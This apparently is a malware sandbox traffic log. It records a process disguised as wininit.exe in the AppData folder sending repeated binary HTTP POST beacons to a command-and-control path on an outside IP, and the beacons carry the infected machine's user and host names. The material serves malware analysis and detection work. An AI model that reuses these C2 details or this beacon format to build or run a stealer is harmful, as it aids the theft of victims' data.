Nov 20, 2024 11:09:20.566973925 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:20.573694944 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:21.314732075 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:21 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.22	49232	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:21.463058949 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:21.471179962 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:22.217380047 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:22 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.22	49233	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:22.357079029 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:22.364648104 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:23.253979921 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:23 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.22	49234	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:23.403670073 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:23.410558939 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:24.404211044 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:24 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.22	49235	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:24.562783003 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:24.567819118 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:26.308274984 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Nov 20, 2024 11:09:26.308907986 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Nov 20, 2024 11:09:26.573856115 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:25 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.22	49236	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:26.576240063 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:26.583370924 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:27.498418093 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:27 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.22	49237	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:27.793325901 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:27.798263073 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:28.601366043 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:28 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.22	49238	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:28.865047932 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:28.872432947 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:29.678623915 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:29 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.22	49239	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:29.846641064 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:29.853943110 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:30.598742008 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:30 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.22	49240	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:30.925380945 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:30.933082104 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:31.681325912 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:31 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
78	192.168.2.22	49241	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:31.823512077 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:31.828471899 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:32.557110071 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:32 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.22	49242	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:32.709058046 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:32.713977098 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:33.605262041 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:33 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.22	49243	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:33.921736956 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:33.926911116 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:34.675167084 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:34 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.22	49244	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:34.822855949 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:34.827985048 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:35.668055058 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:35 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
82	192.168.2.22	49245	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:35.803652048 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:35.811111927 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:36.752933979 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:36 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.22	49246	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:36.898722887 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:36.907516003 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:37.665819883 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:37 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.22	49247	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:37.822323084 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:37.827332020 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:38.569812059 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:38 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.22	49248	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:38.712826967 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:38.717822075 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:39.499545097 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:39 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.22	49249	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:39.647249937 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:39.652335882 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:40.469007015 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:40 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.22	49250	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:40.604469061 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:40.609402895 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:41.391279936 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:41 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.22	49251	94.156.177.41	80	3932	C:\Users\user\AppData\Roaming\wininit.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 11:09:41.544437885 CET	244	OUT	POST /maxzi/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 94.156.177.41 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 9D963662 Content-Length: 149 Connection: close
Nov 20, 2024 11:09:41.549340010 CET	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 41 00 6c 00 62 00 75 00 73 00 01 00 0c 00 00 00 34 00 36 00 38 00 33 00 32 00 35 00 01 00 10 00 00 00 41 00 4c 00 42 00 55 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.ruAlbus468325ALBUS-PC0DE4229FCF97F5879F50F8FD3
Nov 20, 2024 11:09:42.303117990 CET	193	IN	HTTP/1.1 404 Not Found Server: nginx/1.26.1 Date: Wed, 20 Nov 2024 10:09:42 GMT Content-Type: text/html; charset=utf-8 Connection: close X-Powered-By: PHP/5.4.16 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
